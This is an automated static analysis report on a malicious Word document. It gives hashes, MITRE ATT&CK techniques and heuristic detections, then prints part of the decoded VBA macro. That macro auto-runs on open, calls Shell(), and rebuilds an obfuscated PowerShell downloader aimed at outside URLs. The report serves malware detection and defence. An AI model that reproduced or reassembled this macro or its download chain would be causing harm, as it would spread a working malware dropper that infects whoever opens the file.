Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 7300620694099cd6…

MALICIOUS

Office (OLE)

169.5 KB Created: 2017-11-28 07:44:00 Authoring application: Microsoft Office Word First seen: 2017-12-08
MD5: 578f37afa54fdcf325b5992464738ae8 SHA-1: 87d8a88ec400cbceb14092a7e02d50017a79129c SHA-256: 7300620694099cd6ec97a641d37a07c3da9f44d5ec96e0286610d189f2c491df
242 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing a VBA macro with an AutoOpen function. This macro utilizes the Shell() function, indicating an attempt to execute external code. The script reconstructs a suspicious URL, 'graxo7+xo7ybxo7+xo7log.co.uk/xo7+xo7JLxo7+xo7WJwOUxs+UxsFee/xo7+xo7,http://xo7+xo7www.xo7+xUxs+Uxso7demo2.xo7+xo7devhuxo7+xo7', which is likely used to download and execute a second-stage payload. The presence of obfuscation and the ClamAV detection further support its malicious nature.

Heuristics 7

  • ClamAV: Doc.Macro.Obfuscation-6387400-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Obfuscation-6387400-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://graxo7+xo7ybxo7+xo7log.co.uk/xo7+xo7JLxo7+xo7WJwOUxs+UxsFee/xo7+xo7,http://xo7+xo7www.xo7+xUxs+Uxso7demo2.xo7+xo7devhuxo7+xo7 In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 86495 bytes
SHA-256: ab1a428ea26857e96333a243eacca8a4db578c697a1f1e41249e9255617e7391
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "AFzUasbTw"
Function ojGjjCZSJ()
Fpoqaiob = Array(StrReverse("jlFGjHMaDU"), StrReverse("AdsBBZIuTH"), StrReverse("ZAJXwBNZqT"), StrReverse("MTIzafHJKS"), StrReverse("boOKOHilXI"), StrReverse("zCvDnjbhIh"), StrReverse("unkjHjVubW"), StrReverse("SwkAfllwJq"))
lCzmaHXqzdw = Mid("Oatrs9jAWixo7+xo7exo7+xo7nxo7+xo7t;xo7+xo'+'7Fxo7+xo7XZ'+'n'+'sxo7+xo7axo7+x'+'o7dasd = nexo7+xo7w-obj'+'ect raxo7+xo7ndxo7+xo7om;FXxo7'+'+xo7Zbxo7+xo7cd = 7EPF2UwC9rnbN", 10, 147)
MwwnozHNbX = Array(StrReverse("vraNMqFGBi"), StrReverse("wOwJzjZwrV"), StrReverse("jlIGCCZsqH"), StrReverse("IKzfdizDLS"), StrReverse("nYotvoTomj"), StrReverse("XAzYbJiTLJ"), StrReverse("QNQtaoOSfO"), StrReverse("lWnYhIzOLN"))
FhCEDzQnmC = Array(StrReverse("XbBiUKXEJr"), StrReverse("DaBcXoEfDh"), StrReverse("ljKApBRuYC"), StrReverse("zdYRJTlBPz"), StrReverse("IQlkTswHdq"), StrReverse("hGvbFoQBsS"), StrReverse("sdjHtZBkSE"), StrReverse("DCPFZUwajz"))
tYXVODHAElu = Array(StrReverse("lZpIAVGinV"), StrReverse("NTDwBwIwRp"), StrReverse("FijcZzcvjU"), StrReverse("EcVbEaCmbK"), StrReverse("FfbNKAjvmD"), StrReverse("iqajNHqMiC"), StrReverse("sLzTQkzcrb"), StrReverse("wVVGkZDVSZ"))
iKCfWputYb = Mid("3Hac2whcjoNPzOrxo7FXZ_.Exceptxo7+xo7ion.Mexo7+xo'+'7ssage;xo7+xo7}}xo7).ReplACE(xo7Yd1xo7,[StRiNg][ChaR]39).ReplACE(([ChaR]70+[ChaR]88+[ChaR]90),xo7kCbxo7).ReplAFXro5VBIzih5tTc", 16, 146)
njpqvdDu = Array(StrReverse("EKRhUrizLV"), StrReverse("CjJzFfkdqu"), StrReverse("qMpYnirpCk"), StrReverse("pqVuOiLwmC"), StrReverse("rDYzCTtSAt"), StrReverse("kUjmHsUsuq"), StrReverse("AsvbfMOOjX"), StrReverse("TmroCmnsWT"))
RFPZm = Array(StrReverse("OhIfpOBpNw"), StrReverse("kpEYSujHwZ"), StrReverse("DGDLHJVUwn"), StrReverse("EUuJoLCTdC"), StrReverse("iIOvqGRwop"), StrReverse("tvZtWHdwYj"), StrReverse("thsZsQvukG"), StrReverse("rMiurvsIVB"))
AiLHKltbL = Array(StrReverse("PkuMvMQfjT"), StrReverse("HCdRrFvvmM"), StrReverse("HsXvpDtlra"), StrReverse("FEqzwHVmQF"), StrReverse("wwspizzscz"), StrReverse("UUWvDWNzWs"), StrReverse("SioFOCMfSk"), StrReverse("kJijQJAhNs"))
mGlfEi = Mid("F&( $VerBosEPreFerencE.toStrINg()[1,3]+'x'-joiN'')( ((' . ( pOBvERBOsEpRefERenCe.hJa8BHw1KEkQ0LFMzj4GCHJozZdGiwENhQ", 2, 80)
rLcNAazALH = Array(StrReverse("rYjGuJvAnj"), StrReverse("hFvzJBPoDZ"), StrReverse("KWLhzjRfCb"), StrReverse("PVbWoUBmfj"), StrReverse("VuHDZmRjkp"), StrReverse("fDFvqVNwIN"), StrReverse("rPwMRMiYJp"), StrReverse("zcJTEPPIIL"))
nwHXUQfCpY = Array(StrReverse("DBJsGkiutc"), StrReverse("tWQYmRKnbf"), StrReverse("lTZsOKqpfu"), StrReverse("WfldoRVwwd"), StrReverse("TRlqqOtFtw"), StrReverse("zMGhHjbQdv"), StrReverse("utPzFOkmkV"), StrReverse("vNowMUiiBA"))
ctWQwQtI = Array(StrReverse("rlsjTFvpFT"), StrReverse("tZGuKYwfbk"), StrReverse("BDNqIBNImZ"), StrReverse("UZfRSAYzPw"), StrReverse("zzmFfDLniO"), StrReverse("BLPIJoXBbS"), StrReverse("snDfwTuobK"), StrReverse("zzPckCQILE"))
RSUubwzWYa = Mid("w3UCMNq2JTOsTRi'+'ng()[1,3]+UxsXUxs-JoinUxsUxs) ( (Uxs&((get-VArIAblE '+'xo7*MdR*xo7).nAMe[3,11,'+GKcjhF2m1jR", 10, 89)
RBHombMjzF = Array(StrReverse("RlvjvJYEWF"), StrReverse("pETCiaBmlc"), StrReverse("dGVYClXIVm"), StrReverse("BtPciJzjEw"), StrReverse("pfPijrumPl"), StrReverse("SvzZXLPXdJ"), StrReverse("lQijDvprYY"), StrReverse("dRipmwqqsL"))
iqpdhRivw = Array(StrReverse("pZdYXJKWHi"), StrReverse("cXXzGMwGGL"), StrReverse("IWLUODvmYH"), StrReverse("XPpXdSJfIp"), StrReverse("JYjzhcaSWX"), StrReverse("FKCAvSNIJU"), StrReverse("NYwzGMiATo"), StrReverse("CRwQCkqOmm"))
JkzVOjVjRH = Array(StrReverse("sBzhzTbEio"), StrReverse("HZSjtYCJbd"), StrReverse("WwOwnkabwr"), StrReverse("BnjLUwdJQO"), StrReverse("daUHkDIzCw"), StrReverse("wsOVwwnAtP"), StrReverse("tAImmTqHPv"), StrReverse("ussMzwbGMk"))
dzIiz = Mid("GOpw7EJ0J5blLjOYxo7+xo7d1xo7+xo7;forUx'+'s+Uxseachxo7+'+'xo7(Uxs+UxsFXZabc ixo7+xo7nxo7+xo7 xo7+xoUx'+'
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.